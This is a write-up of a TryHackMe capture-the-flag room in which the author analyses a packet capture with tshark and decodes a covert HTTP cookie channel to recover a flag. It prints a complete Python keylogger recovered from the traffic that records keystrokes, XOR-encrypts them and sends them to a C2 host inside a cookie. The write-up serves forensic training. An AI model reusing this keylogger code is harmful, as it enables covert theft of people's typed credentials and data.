Packed Light (Hacker Holidays) - Write-up - TryHackMe

Information

Room#

  • Name: Packed Light
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Tiny packets. Odd hours. Suspiciously regular. Someone's smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.

Packed Light

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S wireshark-cli wireshark-qt pcre2 findutils xortool

Lore#

🛎️ Concierge Briefing

Tiny packets. Odd hours. Suspiciously regular. Someone's smuggling out the data equivalent of a hotel towel every night, folded neatly inside traffic that looks ordinary until you decode it.

A short capture from the guest network is all VERA could pull before the connection dropped. Somewhere in that traffic, a quiet little errand is running on a loop, and it isn't part of any service the hotel actually offers.

📸 @0xMia's STORY

"not me watching my laptop ping some random :8080 address every single second like clockwork 🚩 the request headers are giving 'not a real app' ngl also what is with the crypto 😭 #HackerHolidays"

🏖️ TODAY'S ITINERARY

  • [ ] Analyze the provided capture for a covert communication channel.
  • [ ] Identify where the exfiltrated data is being hidden and reassemble it.
  • [ ] Decode the recovered data and submit the flag.

PCAP analysis#

The only things we know at the start is there must be some communication on port 8080 so using a tcp.port==8080 filter is where we should start.

tshark -Y 'tcp.port==8080' -r traffic.pcapng

It's obvious the communication is using HTTP protocol with a bunch of GET requests. At first, we can filter with http to hide raw TCP packets.

The first request isa GET on /temp/updates.py. We can isolate the frame containing the HTTP response by its number (19) and display only the file (http.file_data), then decode from hexadecimal.

tshark -r traffic.pcapng -Y "http.response and frame.number==19" -T fields -e http.file_data | ctf-party - from_hex
import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "EDITED_p1"
    p2 = "EDITED_p2"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))

    b64_string = base64.b64encode(encrypted).decode('utf-8')

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }
    try:
        requests.get(C2_URL, headers=headers, timeout=0.5)
    except:
        pass

def on_press(key):
    try:
        sendltr(key.char)
    except AttributeError:
        if key == keyboard.Key.space:
            sendltr(" ")
        elif key == keyboard.Key.enter:
            sendltr("\n")

print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

The flag is xored character by character in the cookie.

So we can filter with http.request to get only those as the HTTP response won't interest us.

tshark -Y 'tcp.port==8080 && http && http.request' -r traffic.pcapng -e 'http.request.line' -T fields

The we need to extract only the cookie, grep to get only the value, using xargs to operate on each line of the output, base64 decode it, then re-xor with the key to decrypt.

tshark -Y 'tcp.port==8080 && http && http.request' -r traffic.pcapng -e 'http.cookie' -T fields | pcre2grep -o1 'hotel_sess_state=(.+)' | xargs -I {} sh -c 'echo "{}" | base64 -d | xortool-xor -s "SECRET_KEY_EDITED" -f - | head -c 1'
# => THM{EDITED}
Share